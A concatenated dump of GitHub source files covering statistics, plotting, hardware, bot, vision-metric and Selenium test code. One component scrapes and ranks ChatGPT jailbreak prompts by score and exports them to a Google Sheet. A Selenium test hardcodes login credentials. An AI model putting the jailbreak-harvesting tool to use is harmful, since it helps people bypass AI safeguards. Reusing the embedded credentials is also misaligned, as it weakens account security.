print(num_dict[n])\n","repo_name":"d-matsui/atcorder","sub_path":"aising-2020/c.py","file_name":"c.py","file_ext":"py","file_size_in_byte":619,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"40678695120","text":"\"\"\" This module performs Z-test calculations for the difference\n between proportions of two independedent samples.\n\"\"\"\nimport scipy\nfrom statsmodels.stats.weightstats import *\nfrom statsmodels.stats.proportion import proportion_confint\n\ndef proportions_diff_confint_ind(wins1, wins2, total, alpha = 0.05):\n z = scipy.stats.norm.ppf(1 - alpha / 2.)\n\n p1 = float(wins1) / total\n p2 = float(wins2) / total\n\n left_boundary = (p1 - p2) - z * np.sqrt(p1 * (1 - p1)/ total + p2 * (1 - p2)/ total)\n right_boundary = (p1 - p2) + z * np.sqrt(p1 * (1 - p1)/ total + p2 * (1 - p2)/ total)\n\n return (left_boundary, right_boundary)\n\n\ndef proportions_diff_z_stat_ind(wins1, wins2, total):\n n1 = total\n n2 = total\n\n p1 = float(wins1) / n1\n p2 = float(wins2) / n2\n P = float(p1*n1 + p2*n2) / (n1 + n2)\n\n return (p1 - p2) / np.sqrt(P * (1 - P) * (1. / n1 + 1. / n2))\n\n\ndef proportions_diff_z_test(z_stat, alternative = 'two-sided'):\n if alternative not in ('two-sided', 'less', 'greater'):\n raise ValueError(\"alternative not recognized\\n\"\n \"should be 'two-sided', 'less' or 'greater'\")\n\n if alternative == 'two-sided':\n return 2 * (1 - scipy.stats.norm.cdf(np.abs(z_stat)))\n\n if alternative == 'less':\n return scipy.stats.norm.cdf(z_stat)\n\n if alternative == 'greater':\n return 1 - scipy.stats.norm.cdf(z_stat)\n","repo_name":"dimileeh/artificial_intelligence","sub_path":"aind-isolation/ztest.py","file_name":"ztest.py","file_ext":"py","file_size_in_byte":1396,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"23277889556","text":"\nimport os\nimport requests\nfrom typing import Dict, List, Optional\nfrom bs4 import BeautifulSoup\nfrom google.oauth2 import service_account\nfrom googleapiclient.discovery import build\n\nimport yaml\nfrom dotenv import load_dotenv\nfrom fastapi import FastAPI\nfrom pydantic import BaseModel\n\nfrom core.abstract_component import AbstractComponent\n\n\nclass WebScraperInputDict(BaseModel):\n URL: str\n JB_score_threshold: int\n\n\nclass WebScraperOutputDict(BaseModel):\n top_prompts: List[Dict]\n\n\nclass WebScraper(AbstractComponent):\n def __init__(self) -> None:\n super().__init__()\n with open(self.component_configuration_path(), \"r\", encoding=\"utf-8\") as file:\n yaml_data = yaml.safe_load(file)\n self.google_sheet_id: str = yaml_data[\"parameters\"][\"google_sheet_id\"]\n self.sheet_name: str = yaml_data[\"parameters\"][\"sheet_name\"]\n self.google_credentials: Optional[str] = os.environ.get(\n yaml_data[\"parameters\"][\"google_credentials\"]\n )\n\n def transform(\n self, args: WebScraperInputDict\n ) -> WebScraperOutputDict:\n # Fetch the HTML content from the URL\n response = requests.get(args.URL)\n soup = BeautifulSoup(response.text, \"html.parser\")\n\n # Parse the HTML and extract the prompts with their corresponding JB scores\n prompts = soup.select(\"table tr > td:nth-child(1)\")\n JB_scores = soup.select(\"table tr > td:nth-child(2)\")\n\n # Filter and select the top 10 prompts based on the JB score threshold\n top_prompts = []\n for prompt, score in zip(prompts, JB_scores):\n if len(top_prompts) >= 10:\n break\n elif int(score.text.strip()) >= args.JB_score_threshold:\n top_prompts.append({\"prompt\": prompt.text.strip(), \"score\": int(score.text.strip())})\n\n # Send the top 10 prompts to the specified Google Sheet\n if self.google_credentials:\n credentials = service_account.Credentials.from_service_account_file(\n self.google_credentials\n )\n service = build(\"sheets\", \"v4\", credentials=credentials)\n body = {\"values\": [prompt.values() for prompt in top_prompts]}\n range_name = f\"{self.sheet_name}!A1:B{len(top_prompts)}\"\n service.spreadsheets().values().update(\n spreadsheetId=self.google_sheet_id,\n range=range_name,\n valueInputOption=\"RAW\",\n body=body,\n ).execute()\n\n return WebScraperOutputDict(top_prompts=top_prompts)\n\n\nload_dotenv()\nweb_scraper_app = FastAPI()\n\n\n@web_scraper_app.post(\"/transform/\")\nasync def transform(\n args: WebScraperInputDict,\n) -> WebScraperOutputDict:\n web_scraper = WebScraper()\n return web_scraper.transform(args)\n\n","repo_name":"yeagerai/yWorkflows-ChatGPTJailbreakFinder-by-DragonDreamweaver-8808-db3dadfe","sub_path":"components/web_scraper/web_scraper.py","file_name":"web_scraper.py","file_ext":"py","file_size_in_byte":2811,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"1068811087","text":"import RPi.GPIO as GPIO\nfrom time import sleep\n\nledPin = 38\nbuttonPin = 40\n\nGPIO.setmode(GPIO.BOARD)\nGPIO.setup(ledPin, GPIO.OUT)\nGPIO.setup(buttonPin, GPIO.IN, pull_up_down = GPIO.PUD_UP)\n\ntry:\n while True:\n GPIO.output(ledPin, GPIO.LOW if GPIO.input(buttonPin) is GPIO.HIGH else GPIO.HIGH)\n print(GPIO.input(buttonPin))\n sleep(.1)\n\nexcept KeyboardInterrupt:\n GPIO.cleanup()\n print(\"See ya later!\")\n","repo_name":"frevega/free-raspberry-pi-tutorials-for-absolute-beginners","sub_path":"07-internal-pull-up-gpio-inputs-from-button-switch.py","file_name":"07-internal-pull-up-gpio-inputs-from-button-switch.py","file_ext":"py","file_size_in_byte":430,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"39865699114","text":"import argparse\nimport glob\nfrom ROOT import TChain, TMath, TH1F, TCanvas, gStyle, TLegend, Math\nimport tdrStyle\nfrom draw_pt_muonColl import recoMuonGenMatch\n\ndef main():\n # Parse command line arguments\n parser = argparse.ArgumentParser(description='')\n # parser.add_argument('-d','--indirs', nargs='+', action='store', dest='indirs', help='Director(y/ies) of input files, absolute path(s)')\n parser.add_argument('-i','--indir', action='store', dest='indir', help='Directory of the input ntuples')\n parser.add_argument('-o','--outdir', action='store', dest='outdir', help='Directory of output files, absolute path')\n parser.add_argument('-t','--tree', action='store', dest='treename', help='Name of the tree in the ntuple')\n parser.add_argument('-v','--verbose', action='store', dest='verbose', help='Set for extra printout')\n args = parser.parse_args()\n \n if not args.indir:\n parser.error('provide input directory of ntuples, -i or --indir')\n \n if not args.outdir:\n parser.error('provide output directory, -o or --outdir')\n \n if not args.treename:\n parser.error('provide tree name, -t or --tree')\n \n if not args.verbose:\n parser.error('provide verbose level, -v or --verbose')\n \n treename = args.treename\n indir = args.indir\n outdir = args.outdir\n verbose = int(args.verbose)\n \n # load tree and assign process type\n prc = 'sig' if indir.find('91to180') >= 0 else 'bkg'\n tc = TChain(treename)\n tc.Add(indir)\n \n # create hist lists\n pt_list = []\n eta_list = []\n phi_list = []\n energy_list = []\n for i in range(4):\n pt_list.append(TH1F(\"pt_gen{}\".format(i), \"\", 100, 0., 5000.))\n eta_list.append(TH1F(\"eta_gen{}\".format(i), \"\", 50, 0., 3.))\n phi_list.append(TH1F(\"phi_gen{}\".format(i), \"\", 50, -3.14, 3.14))\n energy_list.append(TH1F(\"energy_gen{}\".format(i), \"\", 100, 0., 5000.))\n \n # event loop\n for evt in tc:\n gen_v = Math.PtEtaPhiMVector()\n for i in range(4):\n gen_v.SetCoordinates(evt.gen_pt[i], evt.gen_eta[i], evt.gen_phi[i], evt.gen_mass[i])\n pt_list[i].Fill(evt.gen_pt[i])\n eta_list[i].Fill(evt.gen_eta[i])\n phi_list[i].Fill(evt.gen_phi[i])\n energy_list[i].Fill(gen_v.E())\n \n # draw\n gStyle.SetOptStat(0)\n tdrStyle.SetTDRStyle()\n \n hist_dict = {\n 'pt' : pt_list,\n 'eta' : eta_list,\n 'phi' : phi_list,\n 'energy' : energy_list\n }\n \n xtitle_dict = {\n 'pt' : 'p_{T} GeV',\n 'eta' : '#eta',\n 'phi' : '#phi',\n 'energy' : 'E [GeV]'\n }\n \n for key, hist_list in hist_dict.items():\n can = TCanvas(\"mycan_{}\".format(key), \"\", 800, 600)\n for i in range(4):\n if i == 0:\n hist_list[i].GetXaxis().SetTitle(xtitle_dict[key])\n hist_list[i].GetYaxis().SetTitle(\"A. U.\")\n hist_list[i].SetLineColor(tdrStyle.colors['color_comp{}'.format(i+1)])\n hist_list[i].Scale(1./hist_list[i].Integral())\n hist_list[i].SetLineWidth(2)\n can.cd()\n for i, hist in enumerate(hist_list):\n if i == 0:\n # hist.SetMinimum(1e-4)\n hist.Draw(\"hist\")\n else:\n hist.Draw(\"hist same\")\n # if i >=1:\n # break\n leg = TLegend(0.35, 0.75, 0.6, 0.94)\n for i, hist in enumerate(hist_list):\n leg.AddEntry(hist, \"gen{}\".format(i))\n leg.Draw(\"same\")\n can.SaveAs(outdir + \"/\" + \"gen_{}_{}.png\".format(key,prc))\n \n \n\n \nif __name__ == \"__main__\":\n main()","repo_name":"tvami/CosmicsAnalyzer","sub_path":"EarthAsDMAnalyzer/test/danyi_analysis/draw_gen.py","file_name":"draw_gen.py","file_ext":"py","file_size_in_byte":3691,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"18903086067","text":"from telebot import TeleBot\nfrom telebot.types import Message\n\nfrom app import resources\nfrom app.config import config\nfrom app.resources import messages\nfrom app.services.excel import get_excel_file\nfrom app.services.mirumon_api import BadResponse, get_all_computers, get_software\nfrom app.services.utility import get_args\n\nbot = TeleBot(config.tg_bot_token.get_secret_value())\n\n\n@bot.message_handler(commands=[\"help\"])\ndef help_message(message: Message) -> None:\n bot.send_message(message.chat.id, messages.HELP.render())\n\n\n@bot.message_handler(commands=[\"computers\"])\ndef computers_handler(message: Message) -> None:\n try:\n computers = get_all_computers()\n except BadResponse as exc:\n bot.reply_to(message, f\"bad response ({exc.status_code})\")\n return\n msg = messages.INFO_TEMPLATE.render(computers=computers)\n bot.send_message(message.chat.id, msg)\n\n\n@bot.message_handler(commands=[\"software\"])\ndef software_handler(message: Message) -> None:\n try:\n mac_address = get_args(message)[0]\n except ValueError:\n bot.reply_to(message, messages.WRONG_ARGUMENTS)\n return\n try:\n software = get_software(mac_address)\n except BadResponse:\n bot.reply_to(message, messages.NOT_RESPONDING)\n return\n if not software:\n bot.reply_to(message, messages.NO_ONE)\n return\n\n document = get_excel_file(software, resources.FILE_WITH_PROGRAMS_NAME)\n bot.send_document(message.chat.id, document)\n\n\nbot.polling()\n","repo_name":"mirumon/mirumon-telegram-bot-legacy","sub_path":"app/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1501,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"2206570736","text":"\n# import sys\n# sys.path.append('..')\n# sys.path.append('../..')\n\nimport numpy as np\nfrom pulse2percept import electrode2currentmap as e2cm\nfrom pulse2percept import effectivecurrent2brightness as ec2b\nfrom pulse2percept import utils\nfrom pulse2percept import files as n2sf\n# import npy2savedformats as n2sf\nimport matplotlib.pyplot as plt\nimport importlib as imp\n#imp.reload(n2sf)\n\n# Recreation of the Dorn 2013 paper, where subjects had to guess the direction of motion of a moving bar\n\n# Surgeons were instructed to place the array centered over the macula (0, 0). \n# Each of the 60 electrodes (in a 6 × 10 grid) were 200 μm in diameter\n# The array (along the diagonal) covered an area of retina corresponding to \n#about 20° in visual angle assuming 293 μm on the retina equates to 1° of \n#visual angle. a=1.72, sqrt((a*6)^2+(a*10)^2)=20 so the 10 side is 17.2 degrees, \n#the 6 side is 10.32 degrees \n\n# Create electrode array for the Argus 2\n# 293 μm equals 1 degree, electrode spacing is done in microns\n# when you include the radius of the electrode the electrode centers span +/- 2362 and +/- 1312\n\n# based on Ahuja et al 2013. Factors affecting perceptual thresholds in Argus ii retinal prosthesis subjects\n# (figure 4, pdf is in retina folder) the mean height from the array should be 179.6 μm\n# with a range of ~50-750μm\n\n# Alternative model is currently the 'Krishnan' model which assumes that charge accumulation\n# occurs at the electrode, not neurally. The models are in fact metamers of each other if one is\n# only simulating the NFL\nxlist=[]\nylist=[]\nrlist=[] #electrode radius, microns\nhlist=[] # lift of electrode from retinal surface, microns\ne_spacing=525 # spacing in microns\nfor x in np.arange(-252, 500, e_spacing): \n for y in np.arange(-252, 500, e_spacing):\n xlist.append(x)\n ylist.append(y)\n rlist.append(100) # electrode radiues\n hlist.append(0); #179.6) # electrode lift from retinal surface, \n # epiretinal array - distance to the ganglion layer\n # subretinal array - distance to the bipolar layer\n # in Argus 1 179.6 is a good approx of height in a better patient\ne_all = e2cm.ElectrodeArray(rlist,xlist,ylist,hlist, ptype='epiretinal') \n\n \n# create retina, input variables include the sampling and how much of the retina is simulated, in microns \n# (0,0 represents the fovea) \nretinaname='SmallL80S75WL500'\nr = e2cm.Retina(axon_map=None,sampling=75, ylo=-500, yhi=500, xlo=-500, xhi=500, axon_lambda=8) \n\n# the effective current spread that incorporates axonal stimulation \n \nmyout=[]\nd=.1\nfps=30\npt=[]\ninl_out=[]\nnfl_out=[]\n\nmodelver='Krishnan' \n\ntm = ec2b.TemporalModel(lweight= (1 / (3.16 * (10 ** 6))))\n#for d in [.1, .2, .45, .75, 1., 2., 4., 8., 16., 32.]:\nscFac = 2.41 * (10**3)\n# at 0 off the retinal surface a 0.45 pulse in the nfl gives a response of 1\nfor d in [.1, .45, 1. ,2. ,4., 8., 16.]:\n [ecs, cs] = r.electrode_ecs(e_all) \n rsample=int(np.round((1/tm.tsample) / 30 )) # resampling of the output to fps\n pt=e2cm.Psycho2Pulsetrain(tsample=tm.tsample, current_amplitude=100, dur=.6, pulse_dur=d/1000.,interphase_dur=.45/1000, freq=2) \n if modelver=='Krishnan':\n ca = tm.tsample * np.cumsum(np.maximum(0, pt.data))\n pt.data = pt.data - ca\n\n inl_r = ec2b.pulse2percept(temporal_model=tm, ecs=ecs, retina=r, \n ptrain=[pt], rsample=rsample, dolayer='INL', dojit=False, engine='serial')\n inl_out.append(np.max(inl_r.data) * scFac)\n \n nfl_r = ec2b.pulse2percept(temporal_model=tm, ecs=ecs, retina=r, \n ptrain=[pt], rsample=rsample, dolayer='NFL', dojit=False, engine='serial')\n nfl_out.append(np.max(nfl_r.data) * scFac)\n#plt.plot(pt.data)\n #myout.append(tmp) \n\n \n","repo_name":"garethgeorge/pulse2percept","sub_path":"scripts/SingleElectrode.py","file_name":"SingleElectrode.py","file_ext":"py","file_size_in_byte":3826,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"54"} +{"seq_id":"3643861885","text":"#Listas\n\nlista = []\ncont5 = 0\nwhile True:\n lista.append(int(input('Digite um valor: ')))\n r = str(input('Você deseja continuar [S/N]? ')).strip().upper()[0]\n if r not in 'Ss':\n print('Programa enceraddo!')\n break\nprint(f'Foram adicionados {len(lista)} números')\nlista.sort(reverse=True)\nprint(lista)\nif 5 in lista:\n print('O valor 5 está na lista!')\nelse:\n print('Não foi possível encontrar o 5!')\n","repo_name":"josefcaique/ProjetoEstudosPython","sub_path":"Listas/81.py","file_name":"81.py","file_ext":"py","file_size_in_byte":432,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"12240510145","text":"class A:\n def m1(self):\n print(\"m1 of Class A\")\n\nclass B(A):\n def m2(self):\n print(\"m2 of Class B\")\n\nclass C(B):\n def m3(self):\n print(\"m3 of Class C\")\n\n# using A class Object\na1 = A()\na1.m1()\n\n# using B Class Object\nb1 = B()\nb1.m1()\nb1.m2()\n\n# using C Class object\n\nc1 = C()\nc1.m3()\nc1.m2()\nc1.m1()\n\n\n\n\n\n\n\n\n","repo_name":"sanju14k/python9to11am","sub_path":"Inheritance/Demo7.py","file_name":"Demo7.py","file_ext":"py","file_size_in_byte":338,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"54"} +{"seq_id":"21457808598","text":"from __future__ import division\n\nfrom collections import defaultdict\nimport itertools\n\nfrom chainercv.evaluations import calc_detection_voc_ap\nimport numpy as np\nimport six\n\nfrom ..geometry import get_mask_overlap\n\n\ndef mask_iou(mask_a, mask_b):\n if mask_a.shape[1:] != mask_b.shape[1:]:\n raise ValueError\n\n size_a = len(mask_a)\n size_b = len(mask_b)\n iou = np.zeros((size_a, size_b), dtype=np.float64)\n for i, ma in enumerate(mask_a):\n for j, mb in enumerate(mask_b):\n ov = get_mask_overlap(ma, mb)\n iou[i, j] = ov\n return iou\n\n\n# Original work:\n# https://github.com/chainer/chainercv/blob/master/chainercv/evaluations/eval_detection_voc.py # NOQA\ndef calc_instseg_voc_prec_rec(\n pred_masks, pred_labels, pred_scores,\n gt_masks, gt_labels,\n gt_difficults=None,\n iou_thresh=0.5):\n \"\"\"Calculate precision and recall based on evaluation code of PASCAL VOC.\n\n This function calculates precision and recall of\n predicted bounding boxes obtained from a dataset which has :math:`N`\n images.\n The code is based on the evaluation code used in PASCAL VOC Challenge.\n\n Args:\n pred_labels (iterable of numpy.ndarray): An iterable of labels.\n Similar to :obj:`pred_bboxes`, its index corresponds to an\n index for the base dataset. Its length is :math:`N`.\n pred_scores (iterable of numpy.ndarray): An iterable of confidence\n scores for predicted bounding boxes. Similar to :obj:`pred_bboxes`,\n its index corresponds to an index for the base dataset.\n Its length is :math:`N`.\n gt_labels (iterable of numpy.ndarray): An iterable of ground truth\n labels which are organized similarly to :obj:`gt_bboxes`.\n gt_difficults (iterable of numpy.ndarray): An iterable of boolean\n arrays which is organized similarly to :obj:`gt_bboxes`.\n This tells whether the\n corresponding ground truth bounding box is difficult or not.\n By default, this is :obj:`None`. In that case, this function\n considers all bounding boxes to be not difficult.\n iou_thresh (float): A prediction is correct if its Intersection over\n Union with the ground truth is above this value..\n\n Returns:\n tuple of two lists:\n This function returns two lists: :obj:`prec` and :obj:`rec`.\n\n * :obj:`prec`: A list of arrays. :obj:`prec[l]` is precision \\\n for class :math:`l`. If class :math:`l` does not exist in \\\n either :obj:`pred_labels` or :obj:`gt_labels`, :obj:`prec[l]` is \\\n set to :obj:`None`.\n\n * :obj:`rec`: A list of arrays. :obj:`rec[l]` is recall \\\n for class :math:`l`. If class :math:`l` that is not marked as \\\n difficult does not exist in \\\n :obj:`gt_labels`, :obj:`rec[l]` is \\\n set to :obj:`None`.\n \"\"\"\n pred_masks = iter(pred_masks)\n pred_labels = iter(pred_labels)\n pred_scores = iter(pred_scores)\n gt_masks = iter(gt_masks)\n gt_labels = iter(gt_labels)\n if gt_difficults is None:\n gt_difficults = itertools.repeat(None)\n else:\n gt_difficults = iter(gt_difficults)\n\n n_pos = defaultdict(int)\n score = defaultdict(list)\n match = defaultdict(list)\n\n for pred_mask, pred_label, pred_score, gt_mask, gt_label, gt_difficult in \\\n six.moves.zip(\n pred_masks, pred_labels, pred_scores,\n gt_masks, gt_labels, gt_difficults):\n\n if gt_difficult is None:\n gt_difficult = np.zeros(gt_mask.shape[0], dtype=bool)\n\n for l in np.unique(np.concatenate((pred_label, gt_label)).astype(int)):\n pred_keep_l = pred_label == l\n pred_mask_l = pred_mask[pred_keep_l]\n pred_score_l = pred_score[pred_keep_l]\n # sort by score\n order = pred_score_l.argsort()[::-1]\n pred_mask_l = pred_mask_l[order]\n pred_score_l = pred_score_l[order]\n\n gt_keep_l = gt_label == l\n gt_mask_l = gt_mask[gt_keep_l]\n gt_difficult_l = gt_difficult[gt_keep_l]\n\n n_pos[l] += np.logical_not(gt_difficult_l).sum()\n score[l].extend(pred_score_l)\n\n if len(pred_mask_l) == 0:\n continue\n if len(gt_mask_l) == 0:\n match[l].extend((0,) * pred_mask_l.shape[0])\n continue\n\n iou = mask_iou(pred_mask_l, gt_mask_l)\n gt_index = iou.argmax(axis=1)\n # set -1 if there is no matching ground truth\n gt_index[iou.max(axis=1) < iou_thresh] = -1\n del iou\n\n selec = np.zeros(gt_mask_l.shape[0], dtype=bool)\n for gt_idx in gt_index:\n if gt_idx >= 0:\n if gt_difficult_l[gt_idx]:\n match[l].append(-1)\n else:\n if not selec[gt_idx]:\n match[l].append(1)\n else:\n match[l].append(0)\n selec[gt_idx] = True\n else:\n match[l].append(0)\n\n for iter_ in (\n pred_masks, pred_labels, pred_scores,\n gt_masks, gt_labels, gt_difficults):\n if next(iter_, None) is not None:\n raise ValueError('Length of input iterables need to be same.')\n\n n_fg_class = max(n_pos.keys()) + 1\n prec = [None] * n_fg_class\n rec = [None] * n_fg_class\n\n for l in n_pos.keys():\n score_l = np.array(score[l])\n match_l = np.array(match[l], dtype=np.int8)\n\n order = score_l.argsort()[::-1]\n match_l = match_l[order]\n\n tp = np.cumsum(match_l == 1)\n fp = np.cumsum(match_l == 0)\n\n # If an element of fp + tp is 0,\n # the corresponding element of prec[l] is nan.\n prec[l] = tp / (fp + tp)\n # If n_pos[l] is 0, rec[l] is None.\n if n_pos[l] > 0:\n rec[l] = tp / n_pos[l]\n\n return prec, rec\n\n\ndef eval_instseg_voc(\n pred_masks, pred_labels, pred_scores, gt_masks, gt_labels,\n gt_difficults=None,\n iou_thresh=0.5, use_07_metric=False):\n\n prec, rec = calc_instseg_voc_prec_rec(\n pred_masks, pred_labels, pred_scores,\n gt_masks, gt_labels, gt_difficults,\n iou_thresh=iou_thresh)\n\n ap = calc_detection_voc_ap(prec, rec, use_07_metric=use_07_metric)\n\n return {'ap': ap, 'map': np.nanmean(ap)}\n","repo_name":"wkentaro/chainer-mask-rcnn","sub_path":"chainer_mask_rcnn/utils/evaluations/eval_instance_segmentation_voc.py","file_name":"eval_instance_segmentation_voc.py","file_ext":"py","file_size_in_byte":6519,"program_lang":"python","lang":"en","doc_type":"code","stars":55,"dataset":"github-code","pt":"54"} +{"seq_id":"9070638291","text":"import unittest\nfrom selenium import webdriver\nfrom selenium.webdriver import ChromeOptions\n#from selenium.remote import connect\n\n# import sys\n# sys.path.append('../pages')\n\nfrom pages.Supplier_Pages.pageHomepage import SupplierHomepage\nfrom pages.Supplier_Pages.pageCustomers import SupplierCustomers\nfrom pages.landing_page.page_buyer_supplier_signin import MainSigninPage\n#from test_signup import kirvSignupTest\n\n\nclass Supplier_Test(unittest.TestCase):\n\n def setUp(self):\n options = ChromeOptions()\n options.add_argument(\"--start-maximized\")\n #options.add_argument(\"--headless\")\n #options.binary_location = '/Applications/Google Chrome Canary.app/Contents/MacOS/Google Chrome Canary' \n #options.add_experimental_option(\"detach\", True)\n self.driver = webdriver.Chrome(options=options)\n self.driver.implicitly_wait(10)\n self.driver.get(\"http://kirv-ui-staging.herokuapp.com/signin\")\n\n def check_home_page(self):\n \"\"\"\n Checks home page contents.\n \"\"\"\n supplier_homepage = SupplierHomepage(self.driver)\n try:\n assert supplier_homepage.get_supplier_kirv_logo().is_displayed()\n assert supplier_homepage.check_products_link().text == 'Products'\n assert supplier_homepage.check_customers_link().text == 'Customers'\n assert supplier_homepage.check_orders_link().text == 'Orders'\n assert supplier_homepage.get_search_input_box().is_displayed()\n assert supplier_homepage.get_search_button().is_displayed()\n assert supplier_homepage.get_logout_button().is_displayed()\n assert supplier_homepage.check_customers_title().text == 'Customers'\n assert supplier_homepage.get_all_customer_tab().is_displayed()\n assert supplier_homepage.get_pending_tab().is_displayed()\n assert supplier_homepage.get_active_tab().is_displayed()\n assert supplier_homepage.get_inactive_tab().is_displayed()\n self.check_tab_is_active(\"Customers\")\n print (\"Success -> check_home_page\")\n except:\n print (\n \"AssertionError --------> Element not found on Home page of supplier\")\n\n def check_table_header(self, status_tab_name):\n \"\"\"\n Checks header line of table.\n \"\"\"\n supplier_homepage = SupplierHomepage(self.driver)\n try:\n if supplier_homepage.get_total_table_records() != 0:\n assert supplier_homepage.check_customer_name_table_header().is_displayed()\n assert supplier_homepage.check_state_table_header().is_displayed()\n assert supplier_homepage.check_no_of_locations_table_header().is_displayed()\n assert supplier_homepage.check_main_contact_table_header().is_displayed()\n assert supplier_homepage.check_phone_number_table_header().is_displayed()\n assert supplier_homepage.check_account_status_table_header().is_displayed()\n else:\n assert supplier_homepage.get_search_message().is_displayed()\n print(\"Success -> check table header of %s tab\" %\n (status_tab_name))\n except:\n print(\"AssertionError --------> %s tab table header error\" %\n (status_tab_name))\n\n def check_tab_is_active(self, status_tab_name):\n \"\"\"\n Checks status tab is active or not\n \"\"\"\n supplier_homepage = SupplierHomepage(self.driver)\n try:\n assert supplier_homepage.is_tab_active(status_tab_name) == 'active'\n print (\"Success -> check tab is active for %s tab\" %\n (status_tab_name))\n except:\n print(\"AssertionError --------> %s tab is_active error\" %\n (status_tab_name))\n\n def check_customers_count(self, status_tab_name):\n \"\"\"\n Checks total customers with count of records after applying filter on the account status\n \"\"\"\n supplier_homepage = SupplierHomepage(self.driver)\n try:\n if supplier_homepage.get_total_table_records() != 0:\n assert supplier_homepage.get_required_status_count(\n status_tab_name) == supplier_homepage.get_single_page_records_count()\n else:\n assert supplier_homepage.get_search_message().is_displayed()\n print (\"Success -> Checks total customer count of %s tab\" %\n (status_tab_name))\n except:\n print (\"AssertionError --------> %s tab total count mismatch\" %\n (status_tab_name))\n\n # Pagination still in progress -> check if no of pages matches with page l\n def check_pagination(self, status_tab_name):\n \"\"\"\n Checks if pagination tab works or not\n \"\"\"\n supplier_homepage = SupplierHomepage(self.driver)\n try:\n total_table_records = supplier_homepage.get_total_table_records()\n pages = 0 if total_table_records == 0 else int(\n total_table_records / 50) if total_table_records % 50 == 0 else int((total_table_records / 50) + 1)\n print (pages)\n if pages == 0:\n assert supplier_homepage.get_search_message().is_displayed()\n if pages > 1:\n supplier_homepage.scroll_down_window()\n assert supplier_homepage.get_total_pages() == pages\n self.check_tab_is_active(\"1\")\n supplier_homepage.click_button(\n supplier_homepage.get_second_pagination_tab())\n self.check_tab_is_active(status_tab_name)\n supplier_homepage.scroll_down_window()\n self.check_tab_is_active(\"2\")\n supplier_homepage.scroll_up_window()\n print (\"Success -> check pagination of %s tab\" % (status_tab_name))\n except:\n supplier_homepage.scroll_up_window()\n print (\"AssertionError --------> %s pagination error\" %\n (status_tab_name))\n\n # Search functionallity have some things to implement by dev (like after\n # searching empty string it should remain on same page) ####\n def check_search_functionallity(self, status_tab_name):\n \"\"\"\n Checks search customers without any text, with valid text and with invalid text\n \"\"\"\n supplier_homepage = SupplierHomepage(self.driver)\n try:\n supplier_homepage.clear_search_text()\n supplier_homepage.click_button(\n supplier_homepage.get_search_button())\n self.check_tab_is_active(status_tab_name)\n self.check_customers_count(status_tab_name)\n\n search_key = supplier_homepage.get_first_table_record()\n supplier_homepage.search_record()\n search_result = supplier_homepage.get_first_table_record()\n self.check_tab_is_active(status_tab_name)\n assert search_key == search_result\n\n supplier_homepage.clear_search_text()\n supplier_homepage.search_invalid_record()\n self.check_tab_is_active(status_tab_name)\n assert supplier_homepage.get_search_message().is_displayed()\n print (\"Success -> check search functionallity of %s tab\" %\n (status_tab_name))\n except:\n print (\"AssertionError --------> %s tab search customers error\" %\n (status_tab_name))\n\n def goto_homepage(self):\n \"\"\"\n Clicks Kirv Logo and checks the homepage\n \"\"\"\n try:\n supplier_homepage = SupplierHomepage(self.driver)\n supplier_homepage.click_button(\n supplier_homepage.get_supplier_kirv_logo())\n self.check_home_page()\n print (\"Success -> goto homepage\")\n except:\n print (\"AssertionError --------> Failed to Goto Homepage\")\n\n '''\n def check_pending_customer_first_record(self):\n \"\"\"\n checks first customer partial information\n \"\"\"\n supplier_customer = SupplierCustomers(self.driver)\n try:\n assert supplier_customer.get_first_customer_name().text == contactInfo['company_name']\n assert supplier_customer.get_first_state().text == companyInfo['state']\n total_locations = 0 if not bool(locationInfo) else 2 if 'name1' in locationInfo and 'name2' in locationInfo else 1\n assert supplier_customer.get_first_no_of_location().text == str(total_locations)\n assert supplier_customer.get_first_main_contact().text == contactInfo['contact_name']\n assert supplier_customer.get_first_phone_number().text == contactInfo['phone_no']\n assert supplier_customer.get_first_account_status().text == 'Pending'\n except:\n print (\"AssertionError --------> Customer details not found\")\n '''\n\n def check_status_tab(self, status_tab_name):\n \"\"\"\n Checks given status tab of page, filters respective account status and compares total count with it, Checks Search functionallity\n \"\"\"\n supplier_homepage = SupplierHomepage(self.driver)\n supplier_homepage.goto_required_status_tab(status_tab_name)\n self.check_table_header(status_tab_name)\n self.check_tab_is_active(status_tab_name)\n self.check_customers_count(status_tab_name)\n self.check_pagination(status_tab_name)\n # self.check_search_functionallity(status_tab_name) # Search\n # Functionallity yet to complete by dev\n self.goto_homepage()\n\n def check_all_status_tab(self, status_tab):\n \"\"\"\n Checks all status tab of page\n \"\"\"\n for status_tab_name in status_tab:\n self.check_status_tab(status_tab_name)\n\n def logout(self):\n \"\"\"\n Logouts from current user\n \"\"\"\n try:\n supplier_homepage = SupplierHomepage(self.driver)\n supplier_homepage.click_button(\n supplier_homepage.get_logout_button())\n supplier_homepage.get_signin_button().is_displayed()\n print (\"Success -> logout\")\n except:\n print (\"AssertionError --------> Failed to logout\")\n\n def test_supplier(self):\n # sign_in = SignIn(self.driver)\n # sign_in.sign_in_credentials()\n #signupTest = kirvSignupTest()\n # signupTest.test_signUp()\n username = 'w@kirv.co'\n password = 'qwerty123'\n signin_page = MainSigninPage(self.driver)\n signin_page.fill_fields(username, password)\n\n supplier_homepage = SupplierHomepage(self.driver)\n supplier_customer = SupplierCustomers(self.driver)\n #self.check_home_page()\n\n #status_tab = [\"all_customers\", \"Pending\", \"Active\", \"Inactive\"]\n #self.check_all_status_tab(status_tab)\n\n supplier_customer.check_pending_customer_first_record()\n supplier_customer.get_first_view_tab().click()\n #supplier_customer.check_pending_customer_company_detail()\n #supplier_customer.check_edited_pending_customer_company_detail()\n #supplier_customer.check_pending_customer_contact_detail()\n #supplier_customer.check_edited_pending_customer_contact_detail()\n #supplier_customer.check_pending_customer_location_detail()\n 